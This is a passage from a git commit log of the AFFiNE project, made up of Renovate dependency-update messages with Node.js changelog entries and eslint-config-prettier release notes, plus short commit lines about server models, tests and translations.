-   \[[`c7ed2ff920`](https://redirect.github.com/nodejs/node/commit/c7ed2ff920)] - **stream**: handle undefined chunks correctly in decode stream (devstone) [#&#8203;55153](https://redirect.github.com/nodejs/node/pull/55153)
-   \[[`a9675a0cbc`](https://redirect.github.com/nodejs/node/commit/a9675a0cbc)] - **stream**: treat null asyncIterator as undefined (Jason Zhang) [#&#8203;55119](https://redirect.github.com/nodejs/node/pull/55119)
-   \[[`bf69ae1406`](https://redirect.github.com/nodejs/node/commit/bf69ae1406)] - **stream**: set stream prototype to closest transferable superclass (Jason Zhang) [#&#8203;55067](https://redirect.github.com/nodejs/node/pull/55067)
-   \[[`3273707a3a`](https://redirect.github.com/nodejs/node/commit/3273707a3a)] - **test**: fix tests when Amaro is unavailable (Richard Lau) [#&#8203;55320](https://redirect.github.com/nodejs/node/pull/55320)
-   \[[`ff3cc3b2ab`](https://redirect.github.com/nodejs/node/commit/ff3cc3b2ab)] - **test**: use more informative errors in `test-runner-cli` (Antoine du Hamel) [#&#8203;55321](https://redirect.github.com/nodejs/node/pull/55321)
-   \[[`17d2f9de6d`](https://redirect.github.com/nodejs/node/commit/17d2f9de6d)] - **test**: make `test-loaders-workers-spawned` less flaky (Antoine du Hamel) [#&#8203;55172](https://redirect.github.com/nodejs/node/pull/55172)
-   \[[`1b1104e69b`](https://redirect.github.com/nodejs/node/commit/1b1104e69b)] - **test**: add resource to internal module stat test (RafaelGSS) [#&#8203;55157](https://redirect.github.com/nodejs/node/pull/55157)
-   \[[`b36f8c2146`](https://redirect.github.com/nodejs/node/commit/b36f8c2146)] - **test**: update multiple assert tests to use node:test (James M Snell) [#&#8203;54585](https://redirect.github.com/nodejs/node/pull/54585)
-   \[[`1b30f7fdd6`](https://redirect.github.com/nodejs/node/commit/1b30f7fdd6)] - **test**: move coverage source map tests to new file (Aviv Keller) [#&#8203;55123](https://redirect.github.com/nodejs/node/pull/55123)
-   \[[`ce67e7b5b3`](https://redirect.github.com/nodejs/node/commit/ce67e7b5b3)] - **test**: adding more tests for strip-types (Kevin Toshihiro Uehara) [#&#8203;54929](https://redirect.github.com/nodejs/node/pull/54929)
-   \[[`a57c8ba3ef`](https://redirect.github.com/nodejs/node/commit/a57c8ba3ef)] - **test**: update wpt test for encoding (devstone) [#&#8203;55151](https://redirect.github.com/nodejs/node/pull/55151)
-   \[[`65fbe94d45`](https://redirect.github.com/nodejs/node/commit/65fbe94d45)] - **test**: add `escapePOSIXShell` util (Antoine du Hamel) [#&#8203;55125](https://redirect.github.com/nodejs/node/pull/55125)
-   \[[`cc8838252e`](https://redirect.github.com/nodejs/node/commit/cc8838252e)] - **test**: remove unnecessary `await` in test-watch-mode (Wuli) [#&#8203;55142](https://redirect.github.com/nodejs/node/pull/55142)
-   \[[`9aeba48bf0`](https://redirect.github.com/nodejs/node/commit/9aeba48bf0)] - **test**: fix typos (Nathan Baulch) [#&#8203;55063](https://redirect.github.com/nodejs/node/pull/55063)
-   \[[`0999b5e493`](https://redirect.github.com/nodejs/node/commit/0999b5e493)] - **test**: remove duplicated test descriptions (Christos Koutsiaris) [#&#8203;54140](https://redirect.github.com/nodejs/node/pull/54140)
-   \[[`e99d4a4cb8`](https://redirect.github.com/nodejs/node/commit/e99d4a4cb8)] - **test**: deflake test/pummel/test-timers.js (jakecastelli) [#&#8203;55098](https://redirect.github.com/nodejs/node/pull/55098)
-   \[[`fb8470afd7`](https://redirect.github.com/nodejs/node/commit/fb8470afd7)] - **test**: deflake test-http-remove-header-stays-removed (Luigi Pinca) [#&#8203;55004](https://redirect.github.com/nodejs/node/pull/55004)
-   \[[`e879c5edf2`](https://redirect.github.com/nodejs/node/commit/e879c5edf2)] - **test**: fix test-tls-junk-closes-server (Michael Dawson) [#&#8203;55089](https://redirect.github.com/nodejs/node/pull/55089)
-   \[[`b885f0583c`](https://redirect.github.com/nodejs/node/commit/b885f0583c)] - **test**: fix more tests that fail when path contains a space (Antoine du Hamel) [#&#8203;55088](https://redirect.github.com/nodejs/node/pull/55088)
-   \[[`85f1187942`](https://redirect.github.com/nodejs/node/commit/85f1187942)] - **test**: fix `assertSnapshot` when path contains a quote (Antoine du Hamel) [#&#8203;55087](https://redirect.github.com/nodejs/node/pull/55087)
-   \[[`fdae57f1e1`](https://redirect.github.com/nodejs/node/commit/fdae57f1e1)] - **test**: fix some tests when path contains `%` (Antoine du Hamel) [#&#8203;55082](https://redirect.github.com/nodejs/node/pull/55082)
-   \[[`36c9ea8912`](https://redirect.github.com/nodejs/node/commit/36c9ea8912)] - ***Revert*** "**test**: mark test-fs-watch-non-recursive flaky on Windows" (Luigi Pinca) [#&#8203;55079](https://redirect.github.com/nodejs/node/pull/55079)
-   \[[`80da5993cc`](https://redirect.github.com/nodejs/node/commit/80da5993cc)] - **test**: remove interval and give more time to unsync (Pietro Marchini) [#&#8203;55006](https://redirect.github.com/nodejs/node/pull/55006)
-   \[[`93c23e74b3`](https://redirect.github.com/nodejs/node/commit/93c23e74b3)] - **test**: deflake test-inspector-strip-types (Luigi Pinca) [#&#8203;55058](https://redirect.github.com/nodejs/node/pull/55058)
-   \[[`43bbca2c08`](https://redirect.github.com/nodejs/node/commit/43bbca2c08)] - **test**: make `test-runner-assert` more robust (Aviv Keller) [#&#8203;55036](https://redirect.github.com/nodejs/node/pull/55036)
-   \[[`268f1ec08f`](https://redirect.github.com/nodejs/node/commit/268f1ec08f)] - **test**: update tls test to support OpenSSL32 (Michael Dawson) [#&#8203;55030](https://redirect.github.com/nodejs/node/pull/55030)
-   \[[`a50dd21423`](https://redirect.github.com/nodejs/node/commit/a50dd21423)] - **test**: do not assume `process.execPath` contains no spaces (Antoine du Hamel) [#&#8203;55028](https://redirect.github.com/nodejs/node/pull/55028)
-   \[[`c56e324cb8`](https://redirect.github.com/nodejs/node/commit/c56e324cb8)] - **test**: fix `test-vm-context-dont-contextify` when path contains a space (Antoine du Hamel) [#&#8203;55026](https://redirect.github.com/nodejs/node/pull/55026)
-   \[[`6d42e44264`](https://redirect.github.com/nodejs/node/commit/6d42e44264)] - **test**: adjust tls-set-ciphers for OpenSSL32 (Michael Dawson) [#&#8203;55016](https://redirect.github.com/nodejs/node/pull/55016)
-   \[[`22e601a76c`](https://redirect.github.com/nodejs/node/commit/22e601a76c)] - **test**: add `util.stripVTControlCharacters` test (RedYetiDev) [#&#8203;54865](https://redirect.github.com/nodejs/node/pull/54865)
-   \[[`a6796696d7`](https://redirect.github.com/nodejs/node/commit/a6796696d7)] - **test**: improve coverage for timer promises schedular (Aviv Keller) [#&#8203;53370](https://redirect.github.com/nodejs/node/pull/53370)
-   \[[`9506f77b3e`](https://redirect.github.com/nodejs/node/commit/9506f77b3e)] - **test**: remove `getCallSite` from common (RedYetiDev) [#&#8203;54947](https://redirect.github.com/nodejs/node/pull/54947)
-   \[[`20d3a806ea`](https://redirect.github.com/nodejs/node/commit/20d3a806ea)] - **test**: remove unused common utilities (RedYetiDev) [#&#8203;54825](https://redirect.github.com/nodejs/node/pull/54825)
-   \[[`341b6d9b94`](https://redirect.github.com/nodejs/node/commit/341b6d9b94)] - **test**: deflake test-http-header-overflow (Luigi Pinca) [#&#8203;54978](https://redirect.github.com/nodejs/node/pull/54978)
-   \[[`1e53c10853`](https://redirect.github.com/nodejs/node/commit/1e53c10853)] - **test**: fix `soucre` to `source` (Aviv Keller) [#&#8203;55038](https://redirect.github.com/nodejs/node/pull/55038)
-   \[[`6843ca7e0d`](https://redirect.github.com/nodejs/node/commit/6843ca7e0d)] - **test**: add asserts to validate test assumptions (Michael Dawson) [#&#8203;54997](https://redirect.github.com/nodejs/node/pull/54997)
-   \[[`98ff615c5e`](https://redirect.github.com/nodejs/node/commit/98ff615c5e)] - **test**: add runner watch mode isolation tests (Pietro Marchini) [#&#8203;54888](https://redirect.github.com/nodejs/node/pull/54888)
-   \[[`327a8f7b59`](https://redirect.github.com/nodejs/node/commit/327a8f7b59)] - **test**: fix invalid wasm test (Aviv Keller) [#&#8203;54935](https://redirect.github.com/nodejs/node/pull/54935)
-   \[[`5b012f544c`](https://redirect.github.com/nodejs/node/commit/5b012f544c)] - **test**: move test-http-max-sockets to parallel (Luigi Pinca) [#&#8203;54977](https://redirect.github.com/nodejs/node/pull/54977)
-   \[[`22b413910e`](https://redirect.github.com/nodejs/node/commit/22b413910e)] - **test**: remove test-http-max-sockets flaky designation (Luigi Pinca) [#&#8203;54976](https://redirect.github.com/nodejs/node/pull/54976)
-   \[[`62b8640550`](https://redirect.github.com/nodejs/node/commit/62b8640550)] - **test**: refactor test-whatwg-webstreams-encoding to be shorter (David Dong) [#&#8203;54569](https://redirect.github.com/nodejs/node/pull/54569)
-   \[[`1f11d68173`](https://redirect.github.com/nodejs/node/commit/1f11d68173)] - **test**: adjust key sizes to support OpenSSL32 (Michael Dawson) [#&#8203;54972](https://redirect.github.com/nodejs/node/pull/54972)
-   \[[`90a87ca8f7`](https://redirect.github.com/nodejs/node/commit/90a87ca8f7)] - **test**: update test to support OpenSSL32 (Michael Dawson) [#&#8203;54968](https://redirect.github.com/nodejs/node/pull/54968)
-   \[[`9b7834536a`](https://redirect.github.com/nodejs/node/commit/9b7834536a)] - **test**: update DOM events web platform tests (Matthew Aitken) [#&#8203;54642](https://redirect.github.com/nodejs/node/pull/54642)
-   \[[`1c001550a2`](https://redirect.github.com/nodejs/node/commit/1c001550a2)] - **test,crypto**: update WebCryptoAPI WPT (Filip Skokan) [#&#8203;55029](https://redirect.github.com/nodejs/node/pull/55029)
-   \[[`800f7c44ed`](https://redirect.github.com/nodejs/node/commit/800f7c44ed)] - **test_runner**: throw on invalid source map (Aviv Keller) [#&#8203;55055](https://redirect.github.com/nodejs/node/pull/55055)
-   \[[`0f7e3f017f`](https://redirect.github.com/nodejs/node/commit/0f7e3f017f)] - **test_runner**: assert entry is a valid object (Edigleysson Silva (Edy)) [#&#8203;55231](https://redirect.github.com/nodejs/node/pull/55231)
-   \[[`c308862d2e`](https://redirect.github.com/nodejs/node/commit/c308862d2e)] - **test_runner**: avoid spread operator on arrays (Antoine du Hamel) [#&#8203;55143](https://redirect.github.com/nodejs/node/pull/55143)
-   \[[`12401972b7`](https://redirect.github.com/nodejs/node/commit/12401972b7)] - **test_runner**: support typescript files in default glob (Aviv Keller) [#&#8203;55081](https://redirect.github.com/nodejs/node/pull/55081)
-   \[[`19cfa3140f`](https://redirect.github.com/nodejs/node/commit/19cfa3140f)] - **test_runner**: close and flush destinations on forced exit (Colin Ihrig) [#&#8203;55099](https://redirect.github.com/nodejs/node/pull/55099)
-   \[[`86f7cb802d`](https://redirect.github.com/nodejs/node/commit/86f7cb802d)] - **(SEMVER-MINOR)** **test_runner**: support custom arguments in `run()` (Aviv Keller) [#&#8203;55126](https://redirect.github.com/nodejs/node/pull/55126)
-   \[[`7eaeba499a`](https://redirect.github.com/nodejs/node/commit/7eaeba499a)] - **test_runner**: fix mocking modules with quote in their URL (Antoine du Hamel) [#&#8203;55083](https://redirect.github.com/nodejs/node/pull/55083)
-   \[[`8818c6c88a`](https://redirect.github.com/nodejs/node/commit/8818c6c88a)] - **test_runner**: report error on missing sourcemap source (Aviv Keller) [#&#8203;55037](https://redirect.github.com/nodejs/node/pull/55037)
-   \[[`b62f2f8259`](https://redirect.github.com/nodejs/node/commit/b62f2f8259)] - **(SEMVER-MINOR)** **test_runner**: add 'test:summary' event (Colin Ihrig) [#&#8203;54851](https://redirect.github.com/nodejs/node/pull/54851)
-   \[[`449dad0db0`](https://redirect.github.com/nodejs/node/commit/449dad0db0)] - **test_runner**: use `test:` symbol on second print of parent test (RedYetiDev) [#&#8203;54956](https://redirect.github.com/nodejs/node/pull/54956)
-   \[[`4b962a78c7`](https://redirect.github.com/nodejs/node/commit/4b962a78c7)] - **test_runner**: replace ansi clear with ansi reset (Pietro Marchini) [#&#8203;55013](https://redirect.github.com/nodejs/node/pull/55013)
-   \[[`d7c708aec5`](https://redirect.github.com/nodejs/node/commit/d7c708aec5)] - **(SEMVER-MINOR)** **test_runner**: add support for coverage via run() (Chemi Atlow) [#&#8203;53937](https://redirect.github.com/nodejs/node/pull/53937)
-   \[[`93c6c90219`](https://redirect.github.com/nodejs/node/commit/93c6c90219)] - **test_runner**: support typescript module mocking (Marco Ippolito) [#&#8203;54878](https://redirect.github.com/nodejs/node/pull/54878)
-   \[[`1daec9a63f`](https://redirect.github.com/nodejs/node/commit/1daec9a63f)] - **test_runner**: avoid coverage report partial file names (Pietro Marchini) [#&#8203;54379](https://redirect.github.com/nodejs/node/pull/54379)
-   \[[`d51e5a8667`](https://redirect.github.com/nodejs/node/commit/d51e5a8667)] - **tools**: enforc

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMzMuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-17 08:47:09 +00:00
liuyi 9f3b39ffd6 test: mobile e2e (#9753) 2025-01-17 16:22:09 +08:00
forehalo 94b0802e64 fix(nbstore): userdata id converter (#9748) 2025-01-17 07:43:07 +00:00
github-actions[bot] 24cd7e367c chore(i18n): sync translations (#9741)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: liuyi <forehalo@gmail.com>
2025-01-17 07:24:27 +00:00
forehalo 44de4474c3 feat(server): use user model (#9710) 2025-01-17 07:06:12 +00:00
fengmk2 a2d16f4b78 refactor(server): use workspace model on user model (#9726) 2025-01-17 06:16:53 +00:00
fengmk2 46aa25de0b feat(server): page model (#9715) 2025-01-17 06:16:51 +00:00
fengmk2 5c934c64aa feat(server): workspace model (#9714) 2025-01-17 06:16:49 +00:00
renovate 85b07a5de0 chore: bump up eslint-config-prettier version to v10 (#9671)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-config-prettier](https://redirect.github.com/prettier/eslint-config-prettier) | [`^9.1.0` -> `^10.0.0`](https://renovatebot.com/diffs/npm/eslint-config-prettier/9.1.0/10.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-config-prettier/10.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-config-prettier/10.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-config-prettier/9.1.0/10.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-config-prettier/9.1.0/10.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>prettier/eslint-config-prettier (eslint-config-prettier)</summary>

### [`v10.0.1`](https://redirect.github.com/prettier/eslint-config-prettier/releases/tag/v10.0.1)

[Compare Source](https://redirect.github.com/prettier/eslint-config-prettier/compare/v10.0.0...v10.0.1)

### eslint-config-prettier

#### 10.0.0

##### Major Changes

-   [#&#8203;272](https://redirect.github.com/prettier/eslint-config-prettier/pull/272) [`5be64be`](https://redirect.github.com/prettier/eslint-config-prettier/commit/5be64bef68c3a9bf7202f591f54ffec02572e46b) Thanks [@&#8203;abrahamguo](https://redirect.github.com/abrahamguo)! - add support for [@&#8203;stylistic](https://redirect.github.com/stylistic) formatting rules

#### Versions before 10.0.0

##### Version 9.1.0 (2023-12-02)

-   Added: [unicorn/template-indent], (as a [special rule][unicorn/template-indent-special]). Thanks to Gürgün Dayıoğlu ([@&#8203;gurgunday](https://redirect.github.com/gurgunday))!
-   Changed: All the [formatting rules that were deprecated in ESLint 8.53.0][deprecated-8.53.0] are now excluded if you set the `ESLINT_CONFIG_PRETTIER_NO_DEPRECATED` environment variable.

##### Version 9.0.0 (2023-08-05)

-   Added: The CLI helper tool now works with eslint.config.js (flat config). Just like ESLint itself, the CLI tool automatically first tries eslint.config.js and then eslintrc, and you can force which one to use by setting the [ESLINT_USE_FLAT_CONFIG] environment variable. Note that the *config* of eslint-config-prettier has always been compatible with eslint.config.js (flat config) – it was just the CLI tool that needed updating. On top of that, the docs have been updated to mention how to use both eslint.config.js (flat config) and eslintrc, and the tests now test both config systems.
-   Changed: [unicode-bom] is no longer turned off. Prettier preserves the BOM if you have one, and does not add one if missing. It was wrong of eslint-config-prettier to disable that rule. If you get ESLint errors after upgrading, either add `"unicode-bom": "off"` to your config to disable it again, or run ESLint with `--fix` to fix all files according to the rule (add or remove BOM). Thanks to Nicolas Stepien ([@&#8203;nstepien](https://redirect.github.com/nstepien))!

##### Version 8.10.0 (2023-08-03)

-   Added: [max-statements-per-line]. Thanks to [@&#8203;Zamiell](https://redirect.github.com/Zamiell)!

##### Version 8.9.0 (2023-07-27)

-   Added: [vue/array-element-newline]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 8.8.0 (2023-03-20)

-   Added: [@&#8203;typescript-eslint/lines-around-comment]. Thanks to [@&#8203;ttionya](https://redirect.github.com/ttionya)!

##### Version 8.7.0 (2023-03-06)

-   Added: [@&#8203;typescript-eslint/block-spacing]. Thanks to [@&#8203;ttionya](https://redirect.github.com/ttionya)!
-   Added: [@&#8203;typescript-eslint/key-spacing]. Thanks to [@&#8203;ttionya](https://redirect.github.com/ttionya)!

##### Version 8.6.0 (2023-01-02)

-   Added: [vue/multiline-ternary]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 8.5.0 (2022-03-02)

-   Added: [@&#8203;typescript-eslint/space-before-blocks]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 8.4.0 (2022-02-19)

-   Added: [vue/quote-props]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 8.3.0 (2021-04-24)

-   Added: Support for [@&#8203;babel/eslint-plugin]. Thanks to Chip Zhang ([@&#8203;ChipZhang](https://redirect.github.com/ChipZhang)) for the heads-up! ([eslint-plugin-babel] is still supported, too.)

##### Version 8.2.0 (2021-04-13)

-   Added: [flowtype/quotes]. Thanks to Martin Zlámal ([@&#8203;mrtnzlml](https://redirect.github.com/mrtnzlml))!

##### Version 8.1.0 (2021-02-24)

-   Added: [flowtype/object-type-curly-spacing].
-   Added: Dummy files for the configs removed in 8.0.0. The dummy files throw an error that try to guide you how to upgrade.

##### Version 8.0.0 (2021-02-21)

-   Changed: All configs have been merged into one!

    To upgrade, change:

    ```json
    {
      "extends": [
        "some-other-config-you-use",
        "prettier",
        "prettier/@&#8203;typescript-eslint",
        "prettier/babel",
        "prettier/flowtype",
        "prettier/react",
        "prettier/standard",
        "prettier/unicorn",
        "prettier/vue"
      ]
    }
    ```

    Into:

    <!-- prettier-ignore -->

    ```json
    {
      "extends": [
        "some-other-config-you-use",
        "prettier"
      ]
    }
    ```

    The `"prettier"` config now includes not just ESLint core rules, but also rules from all plugins. Much simpler!

    So … what’s the catch? Why haven’t we done this earlier? Turns out it’s just a sad mistake. I ([@&#8203;lydell](https://redirect.github.com/lydell)) was confused when testing, and thought that turning off unknown rules in a config was an error. Thanks to Georgii Dolzhykov ([@&#8203;thorn0](https://redirect.github.com/thorn0)) for pointing this out!

    If you use [eslint-plugin-prettier], all you need is [plugin:prettier/recommended]:

    <!-- prettier-ignore -->

    ```json
    {
      "extends": [
        "some-other-config-you-use",
        "plugin:prettier/recommended"
      ]
    }
    ```

    (The ["prettier/prettier" config][prettier-prettier-config] still exists separately. It’s the odd one out. The main `"prettier"` config does *not* include the rules from it.)

-   Changed: The CLI helper tool now only prints warnings for [arrow-body-style] and [prefer-arrow-callback], just like other “special rules.” This means that if you’ve decided to use those rules and [eslint-plugin-prettier] at the same time, you’ll get warnings but exit code zero (success).

##### Version 7.2.0 (2021-01-18)

-   Added: [@&#8203;typescript-eslint/object-curly-spacing].
-   Added: [react/jsx-newline].

##### Version 7.1.0 (2020-12-19)

-   Added: [unicorn/empty-brace-spaces]. Thanks to fisker Cheung ([@&#8203;fisker](https://redirect.github.com/fisker))!

##### Version 7.0.0 (2020-12-05)

-   Changed: At least ESLint 7.0.0 is now required.

-   Changed: [arrow-body-style] and [prefer-arrow-callback] are no longer turned off by default. They only need to be turned off if you use [eslint-plugin-prettier]. If you do, add `"prettier/prettier"` to your `"extends"` array to turn them off again.

    ```json
    {
      "extends": ["prettier", "prettier/prettier"],
      "plugins": ["prettier"],
      "rules": {
        "prettier/prettier": "error"
      }
    }
    ```

    Alternatively, update [eslint-plugin-prettier] to version 3.2.0 or later which automatically turns off these two rules in its `"plugin:prettier/recommended"` config.

    The CLI helper tool only warns about these rules if you have the `"prettier/prettier"` *rule* enabled for a file.

-   Changed: `no-tabs` is now a validatable rule. If you use it, you should enable `allowIndentationTabs` so that the rule works regardless of your Prettier config:

    ```json
    {
      "rules": {
        "no-tabs": ["error", { "allowIndentationTabs": true }]
      }
    }
    ```

-   Changed: The CLI helper tool is now called just `eslint-config-prettier` instead of `eslint-config-prettier-check`. This is so that `npx eslint-config-prettier` always works regardless of whether you have already installed `eslint-config-prettier` or not: If you have, the local installation is used; if you haven’t, `npx` downloads a temporary copy.

-   Changed: The CLI helper tool no longer requires you to pipe the output of `eslint --print-config` to it. Instead, it does that automatically for you via ESLint API:s added in ESLint v7.

    Before:

        npx eslint --print-config index.js | npx eslint-config-prettier-check

    After:

        npx eslint-config-prettier index.js

-   Improved: The npm package is now 75% smaller.

##### Version 6.15.0 (2020-10-27)

-   Added: [@&#8203;typescript-eslint/space-infix-ops]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.14.0 (2020-10-21)

-   Added: New [eslint-plugin-vue] rules: \[vue/array-bracket-newline] and \[vue/block-tag-newline]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 6.13.0 (2020-10-16)

-   Added: New rules in [eslint-plugin-vue] 7.0 (which supports Vue 3.0). Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 6.12.0 (2020-09-25)

-   Added: [@&#8203;typescript-eslint/comma-dangle]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.11.0 (2020-04-21)

-   Added: [@&#8203;typescript-eslint/keyword-spacing]. Thanks to Hans Bergren ([@&#8203;hbergren](https://redirect.github.com/hbergren))!

##### Version 6.10.1 (2020-03-22)

-   Improved: Recommend using `npx` when running the CLI helper tool.
-   Updated: Mention that eslint-config-prettier has been tested with Prettier 2.0 and the latest versions of plugins.

##### Version 6.10.0 (2020-01-28)

-   Added: [@&#8203;typescript-eslint/comma-spacing]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.9.0 (2019-12-27)

-   Added: [vue/max-len]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 6.8.0 (2019-12-25)

-   Added: [@&#8203;typescript-eslint/no-extra-semi]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 6.7.0 (2019-11-19)

-   Added: [@&#8203;typescript-eslint/space-before-function-paren]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.6.0 (2019-11-17)

-   Added: New [eslint-plugin-vue] rules: [vue/dot-location] and [vue/keyword-spacing]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 6.5.0 (2019-10-26)

-   Added: Support for [excluding deprecated rules]. Thanks to Alex Ilyaev ([@&#8203;alexilyaev](https://redirect.github.com/alexilyaev))!

##### Version 6.4.0 (2019-10-05)

-   Added: [unicorn/no-nested-ternary]. Thanks to Yang Mingshan ([@&#8203;yangmingshan](https://redirect.github.com/yangmingshan))!

##### Version 6.3.0 (2019-09-10)

-   Added: [@&#8203;typescript-eslint/brace-style]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.2.0 (2019-09-03)

-   Added: [@&#8203;typescript-eslint/quotes] (as a [special rule][@&#8203;typescript-eslint/quotes-special]). Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.1.0 (2019-08-19)

-   Added: [function-call-argument-newline] (new in ESLint 6.2.0). Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.0.0 (2019-06-25)

-   Changed: The CLI helper tool now considers [no-confusing-arrow] to conflict if you use the default value of its `allowParens` option. The default was changed to `true` in ESLint 6, which conflicts with Prettier.

    If the CLI helper tool gives you errors about this after upgrading, the solution is to change this:

    ```json
    {
      "rules": {
        "no-confusing-arrow": ["error"]
      }
    }
    ```

    Into this:

    ```json
    {
      "rules": {
        "no-confusing-arrow": ["error", { "allowParens": false }]
      }
    }
    ```

    The latter works in both ESLint 6 as well as in ESLint 5 and older.

-   Improved: `eslint --print-config` usage instructions. The CLI tool help text as well as the documentation has been updated to suggest commands that work in ESLint 6.0 as well as in ESLint 5 and older. (Instead of `eslint --print-config .`, use `eslint --print-config path/to/main.js`.)

##### Version 5.1.0 (2019-06-25)

-   Added: [react/jsx-curly-newline]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 5.0.0 (2019-06-15)

-   Removed: [react/self-closing-comp]. This rule was added in v4.1.0 not because it *conflicted* with Prettier but because it was *unnecessary* when using Prettier. However, in v1.18.0 [Prettier stopped converting empty elements to self-closing elements][prettier-self-closing]. So the rule is not unnecessary anymore.

    If you use Prettier v1.17.1 or older you should be able to upgrade eslint-config-prettier to v5.0.0 without having to do anything else.

    If you use Prettier v1.18.0 or newer, you might get lint errors about for example changing `<div></div>` into `<div />`. You have two options:

    -   Run `eslint --fix` if you prefer to enforce self-closing elements where possible. This should fix all the errors.
    -   Add `"react/self-closing-comp": "off"` to your ESLint config if you use autofix from your editor and you face the same [issue as Prettier did][prettier-self-closing].

-   Changed: Node.js 6 is no longer officially supported, but v5.0.0 should still work with it.

##### Version 4.3.0 (2019-05-16)

-   Added: New [eslint-plugin-vue] rules: [vue/arrow-spacing], [vue/block-spacing], [vue/brace-style] and [vue/comma-dangle].
-   Added: New [@&#8203;typescript-eslint/eslint-plugin] rules: [@&#8203;typescript-eslint/func-call-spacing] and [@&#8203;typescript-eslint/semi].

##### Version 4.2.0 (2019-04-25)

-   Added: [@&#8203;typescript-eslint/no-extra-parens]. Thanks to Keiichiro Amemiya ([@&#8203;Hoishin](https://redirect.github.com/Hoishin)) and Jen Gorfine ([@&#8203;jgorfine](https://redirect.github.com/jgorfine))!

##### Version 4.1.0 (2019-02-26)

-   Added: [linebreak-style]. Use Prettier’s [end-of-line] option instead.
-   Added: [react/self-closing-comp]. Thanks to Gaurav Gupta ([@&#8203;gaurav5430](https://redirect.github.com/gaurav5430))!

##### Version 4.0.0 (2019-01-26)

-   Breaking change: Support for [eslint-plugin-typescript] has been removed and replaced with support for its successor [@&#8203;typescript-eslint/eslint-plugin]. Thanks to TANIGUCHI Masaya ([@&#8203;ta2gch](https://redirect.github.com/ta2gch)) and everyone else who helped with this!
-   Changed: [arrow-body-style] and [prefer-arrow-callback] are now marked as [special rules][arrow-special], since they might cause problems if using [eslint-plugin-prettier] and `--fix`. They are turned off by default, and the CLI helper tool will *warn* about them (but not error if you do enable them). This won’t break your linting checks, but do note that these rules will be disabled unless you explicitly enable them again, and that you might see new warnings when running the CLI helper tool.

##### Version 3.6.0 (2019-01-19)

-   Added: Support for [eslint-plugin-babel]. Thanks to Matija Marohnić ([@&#8203;silvenon](https://redirect.github.com/silvenon))!

##### Version 3.5.0 (2019-01-16)

-   Fixed: The eslint-plugin-vue change from 3.4.0 has been reverted. That change requires eslint-plugin-vue@5, while many use eslint-plugin-vue@4. In other words, it was an accidental breaking change. Also, after thinking about it some more, it makes sense to have a Prettier-specific list of rules, rather than using the `vue/no-layout-rules` list, since there can be layout rules that don’t conflict with but rather complement Prettier.
-   Added: New eslint-plugin-vue rules coming in the next version after 5.1.0.

##### Version 3.4.0 (2019-01-13)

-   Added: Support for [eslint-plugin-typescript]. Thanks to Jed Fox ([@&#8203;j-f1](https://redirect.github.com/j-f1))!
-   Improved: The eslint-plugin-vue integration is now using the `vue/no-layout-rules` config behind the scenes, so it should automatically stay up-to-date when new eslint-plugin-vue versions are released. Thanks to Michał Sajnóg ([@&#8203;michalsnik](https://redirect.github.com/michalsnik))!

##### Version 3.3.0 (2018-11-11)

-   Added: The [vue/html-self-closing] rule (as a [special rule][vue/html-self-closing-special]). Thanks to Yamagishi Kazutoshi ([@&#8203;ykzts](https://redirect.github.com/ykzts))!

##### Version 3.2.0 (2018-11-10)

-   Added: Support for [eslint-plugin-vue].
-   Fixed: The CLI helper tool should now work in Node.js 6 with npm 3 again. Thanks to Grant Snodgrass ([@&#8203;meeber](https://redirect.github.com/meeber))!
-   Improved: Updated documentation.

##### Version 3.1.0 (2018-09-22)

